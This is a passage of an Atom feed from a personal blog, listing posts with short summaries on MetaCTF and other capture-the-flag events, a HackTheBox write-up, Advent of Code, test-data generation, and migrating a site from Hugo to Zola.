        <published>2025-01-26T00:00:00+00:00</published>
        <updated>2025-01-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-january-2025-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-january-2025-flash-ctf/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training, TCM Security, Simply Cyber Academy. There will be 5
challenges and you will have 2 hours to solve as many as you can. This is a
beginner-friendly CTF.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;jan2025&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;jan2025&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🐍 Polyfactory and Patients</title>
        <published>2024-12-03T00:00:00+00:00</published>
        <updated>2024-12-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/polyfactory-and-patients/"/>
        <id>https://blog.psypherpunk.io/blog/polyfactory-and-patients/</id>
        
        <summary type="html">&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.meetup.com&#x2F;pydata-leeds&#x2F;&quot;&gt;PyData Leeds&lt;&#x2F;a&gt; was recently fortunate
enough to play host to the
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;hippodigital.co.uk&#x2F;blog&#x2F;tackling-high-quality-test-data-generation-at-pydatas-nhs-data-community-takeover&#x2F;&quot;&gt;“NHS Data Community Takeover”&lt;&#x2F;a&gt;.
To preface things with a quote from that blog post:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Unfortunately, quality test data is non-existent as some (if not most) NHS
organisations, especially data that reflects real-life use cases and the
depth of complexity the real world represents. This is particularly
challenging given the weight of this dataset, it’s real people’s healthcare
data and it deserves the respect we give it.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF November 2024 Flash CTF</title>
        <published>2024-11-21T00:00:00+00:00</published>
        <updated>2024-11-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-november-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-november-2024-flash-ctf/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training and TCM Security. There will be 5 challenges and you will
have 2 hours to solve as many as you can. This is a beginner-friendly CTF.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;sep2024&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;sep2024&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF August 2024 Flash CTF</title>
        <published>2024-08-22T00:00:00+00:00</published>
        <updated>2024-08-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-august-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-august-2024-flash-ctf/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training and TCM Security. There will be 5 challenges and you will
have 2 hours to solve as many as you can. This is a beginner-friendly CTF.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;aug2024&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;aug2024&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF July 2024 Flash CTF</title>
        <published>2024-07-19T00:00:00+00:00</published>
        <updated>2024-07-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-july-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-july-2024-flash-ctf/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training and TCM Security. There will be 5 challenges and you will
have 2 hours to solve as many as you can. This is a beginner-friendly CTF.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;jul2024&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;jul2024&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF June 2024 Flash CTF</title>
        <published>2024-06-21T00:00:00+00:00</published>
        <updated>2024-06-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-june-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-june-2024-flash-ctf/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training and TCM Security. There will be 5 challenges and you will
have 2 hours to solve as many as you can. This is a beginner-friendly CTF.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;jun2024&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;jun2024&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF May 2024 Flash CTF</title>
        <published>2024-05-24T00:00:00+00:00</published>
        <updated>2024-05-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-may-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-may-2024-flash-ctf/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training and TCM Security. There will be 5 challenges and you will
have 2 hours to solve as many as you can. This is a beginner-friendly CTF.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;may2024&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;may2024&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF April 2024 Flash CTF</title>
        <published>2024-04-26T00:00:00+00:00</published>
        <updated>2024-04-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-april-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-april-2024-flash-ctf/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training and TCM Security. There will be 5 challenges and you will
have 2 hours to solve as many as you can. This is a beginner-friendly CTF.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;apr2024&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;apr2024&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF March 2024 Flash CTF</title>
        <published>2024-03-22T00:00:00+00:00</published>
        <updated>2024-03-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-march-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-march-2024-flash-ctf/</id>
        
        <summary type="html">&lt;h2 id=&quot;metactf-march-2024-flash-ctf&quot;&gt;MetaCTF March 2024 Flash CTF&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training and TCM Security.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF February 2024 Flash CTF</title>
        <published>2024-02-23T00:00:00+00:00</published>
        <updated>2024-02-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-february-2024-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-february-2024-flash-ctf/</id>
        
        <summary type="html">&lt;h2 id=&quot;metactf-february-2024-flash-ctf&quot;&gt;MetaCTF February 2024 Flash CTF&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A monthly mini CTF competition organized by MetaCTF and Antisyphon. There
will be 5 challenges and you will have 2 hours to solve as many as you can.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 BSides London 2023 CTF</title>
        <published>2024-01-29T00:00:00+00:00</published>
        <updated>2024-01-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/bsides-london-2023/"/>
        <id>https://blog.psypherpunk.io/blog/bsides-london-2023/</id>
        
        <summary type="html">&lt;h2 id=&quot;bsides-london-2023-ctf&quot;&gt;BSides London 2023 CTF&lt;&#x2F;h2&gt;
&lt;p&gt;Prompted by a message on the
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.meetup.com&#x2F;hack-the-box-meetup-uk&#x2F;&quot;&gt;&lt;em&gt;Hack The Box Meetup:UK&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;
Discord, the below documents my attempt at the CTF from the &lt;em&gt;BSides London
2023&lt;&#x2F;em&gt; conference, shamelessly purloined from the archive at
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;phyushin&#x2F;bsidesLDN2023&quot;&gt;&lt;code&gt;phyushin&#x2F;bsidesLDN2023&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 Mammoth Mini-CTF 2023</title>
        <published>2024-01-20T00:00:00+00:00</published>
        <updated>2024-01-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/mammoth-mini-ctf-2023/"/>
        <id>https://blog.psypherpunk.io/blog/mammoth-mini-ctf-2023/</id>
        
        <summary type="html">&lt;h2 id=&quot;mammoth-mini-ctf-2023&quot;&gt;Mammoth Mini-CTF 2023&lt;&#x2F;h2&gt;
&lt;p&gt;Similar to the previous &lt;a href=&quot;&#x2F;dialed-up-ctf&quot;&gt;&lt;em&gt;Dialed-Up CTF&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;,
this was announced on
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;x.com&#x2F;prjctmammoth&#x2F;status&#x2F;1662205859273818113&quot;&gt;Twitter&lt;&#x2F;a&gt; with the MP3
available on &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;project-mammoth&#x2F;mammoth-ctf-2023&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️📦 HackTheBox: Stocker</title>
        <published>2023-02-14T00:00:00+00:00</published>
        <updated>2023-02-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/htb-machine-easy-stocker/"/>
        <id>https://blog.psypherpunk.io/blog/htb-machine-easy-stocker/</id>
        
        <summary type="html">&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.hackthebox.com&#x2F;machines&#x2F;Stocker&quot;&gt;Stocker&lt;&#x2F;a&gt; is one of
HackTheBox’s &lt;em&gt;Easy&lt;&#x2F;em&gt; machines, now retired (hence this inaugural writeup.)&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🎄 Advent of Code 2021, Day 9</title>
        <published>2022-08-28T00:00:00+00:00</published>
        <updated>2022-08-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/advent-of-code-2021-day-9/"/>
        <id>https://blog.psypherpunk.io/blog/advent-of-code-2021-day-9/</id>
        
        <summary type="html">&lt;p&gt;In which I decide to stop messing around and do things Properly™ when it comes
to fallible parsing.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🎄 Advent of Code 2021, Day 7</title>
        <published>2022-08-27T00:00:00+00:00</published>
        <updated>2022-08-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/advent-of-code-2021-day-7/"/>
        <id>https://blog.psypherpunk.io/blog/advent-of-code-2021-day-7/</id>
        
        <summary type="html">&lt;h2 id=&quot;day-7-the-treachery-of-whales&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2021&#x2F;day&#x2F;7&quot;&gt;Day 7: The Treachery of Whales&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;While I’ve completed every star for each year of
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;&quot;&gt;&lt;em&gt;Advent of Code&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;, I recently realised I hadn’t
written up my notes from some of the days from last year. Taking the
opportunity to revisit my efforts, here’s the first missing day from 2021,
along with some obvervations as to where I fundamentally misunderstood the
input data.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 Dialed Up CTF</title>
        <published>2022-08-16T00:00:00+00:00</published>
        <updated>2022-08-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/dialed-up-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/dialed-up-ctf/</id>
        
        <summary type="html">&lt;h2 id=&quot;dialed-up-ctf&quot;&gt;Dialed Up CTF&lt;&#x2F;h2&gt;
&lt;p&gt;I originally noticed this on
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;prjctmammoth&#x2F;status&#x2F;1554939919230849024&quot;&gt;Twitter&lt;&#x2F;a&gt;, the
weekend before DEF CON 30: a &lt;em&gt;“mini-CTF all embedded in  an .mp3”&lt;&#x2F;em&gt;. Who could
resist?&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>🗃️ Wordle on Sunday</title>
        <published>2022-03-10T00:00:00+00:00</published>
        <updated>2022-03-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/wordle-on-sunday/"/>
        <id>https://blog.psypherpunk.io/blog/wordle-on-sunday/</id>
        
        <summary type="html">&lt;p&gt;Wordle is everywhere.&lt;&#x2F;p&gt;
&lt;p&gt;Wordle is everything.&lt;&#x2F;p&gt;
&lt;p&gt;Soon all will be Wordle.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>💥 Regular Expressions</title>
        <published>2022-01-21T00:00:00+00:00</published>
        <updated>2022-01-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/regular-expression-gotcha/"/>
        <id>https://blog.psypherpunk.io/blog/regular-expression-gotcha/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;One statement, no questions,&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;
&lt;em&gt;Put your fist up for your regular expressions&lt;&#x2F;em&gt;.&lt;br &#x2F;&gt;
—Dual Core, &lt;em&gt;Regular Expressions&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Regular expressions are powerful.&lt;&#x2F;p&gt;
&lt;p&gt;Regular expressions are fun.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>🔁 Zola, okay we&#x27;ll do it your way.</title>
        <published>2021-11-03T00:00:00+00:00</published>
        <updated>2021-11-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/zola-okay-we-ll-do-it-your-way/"/>
        <id>https://blog.psypherpunk.io/blog/zola-okay-we-ll-do-it-your-way/</id>
        
        <summary type="html">&lt;p&gt;I’d &lt;a href=&quot;https:&#x2F;&#x2F;blog.psypherpunk.io&#x2F;blog&#x2F;hugo-to-zola&#x2F;#fork-it&quot;&gt;previously mentioned&lt;&#x2F;a&gt; that I was
maintaining a fork of Zola to allow me to use my old deployment model: that of
having a separate, public repo. which housed my built static-site and
referencing this as a Git submodule residing the &lt;code&gt;public&lt;&#x2F;code&gt; subdirectory.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>💥 From Hugo to Zola</title>
        <published>2021-06-12T00:00:00+00:00</published>
        <updated>2021-06-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/hugo-to-zola/"/>
        <id>https://blog.psypherpunk.io/blog/hugo-to-zola/</id>
        
        <summary type="html">&lt;h2 id=&quot;why-are-we-here-again&quot;&gt;Why Are We Here Again?&lt;&#x2F;h2&gt;
&lt;p&gt;While I outlined my earlier selection of Hugo as the static-site-generator of
choice in a &lt;a href=&quot;https:&#x2F;&#x2F;blog.psypherpunk.io&#x2F;blog&#x2F;go-down-the-rabbit-hole&#x2F;&quot;&gt;previous post&lt;&#x2F;a&gt;, it’s
finally time to admit that Go and I aren’t getting on. It’s not you, it’s me
(except it’s totally you.)&lt;&#x2F;p&gt;
&lt;p&gt;And it’s more than a little Rust, to be honest.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>💾 Jargon</title>
        <published>2019-11-18T00:00:00+00:00</published>
        <updated>2019-11-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/jargon/"/>
        <id>https://blog.psypherpunk.io/blog/jargon/</id>
        
        <summary type="html">&lt;h2 id=&quot;jargon-do-you-grok-it&quot;&gt;Jargon, do you grok it?&lt;&#x2F;h2&gt;
&lt;p&gt;I recently had a weird conversation on Teams (yes, we use Microsoft
Teams at work; don’t judge us); triggered by a question in a recent
Postman user-survey, it prompted a discussion around “unique terminology”
in sofware development and to what degree each of us had been exposed.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>🔓 Hack the Shed</title>
        <published>2019-06-19T00:00:00+00:00</published>
        <updated>2019-06-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/hack-the-shed/"/>
        <id>https://blog.psypherpunk.io/blog/hack-the-shed/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“Has anyone ever participated in a Capture-the-flag style hacking event?
Does anyone fancy trying one?”&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So, fairly innocuously, began what turned out to be a pretty interesting event.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>🐛 Go Down the Rabbit Hole</title>
        <published>2019-02-13T00:00:00+00:00</published>
        <updated>2019-02-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/go-down-the-rabbit-hole/"/>
        <id>https://blog.psypherpunk.io/blog/go-down-the-rabbit-hole/</id>
        
        <summary type="html">&lt;p&gt;I like a good em-dash. It’s delightfully versatile, easily taking the place of
other, lesser punctuation marks.&lt;&#x2F;p&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>🦄 django-pwny</title>
        <published>2018-08-29T00:00:00+00:00</published>
        <updated>2018-08-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/django-pwny/"/>
        <id>https://blog.psypherpunk.io/blog/django-pwny/</id>
        
        <summary type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Originally published at
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.thedatashed.co.uk&#x2F;2019&#x2F;02&#x2F;07&#x2F;django-pwny&#x2F;&quot;&gt;The Data Shed&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>🎉 Hello, World!</title>
        <published>2018-08-15T00:00:00+00:00</published>
        <updated>2018-08-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/hello-world/"/>
        <id>https://blog.psypherpunk.io/blog/hello-world/</id>
        
        <content type="html" xml:base="https://blog.psypherpunk.io/blog/hello-world/">&lt;p&gt;Hello, World! 🎉&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
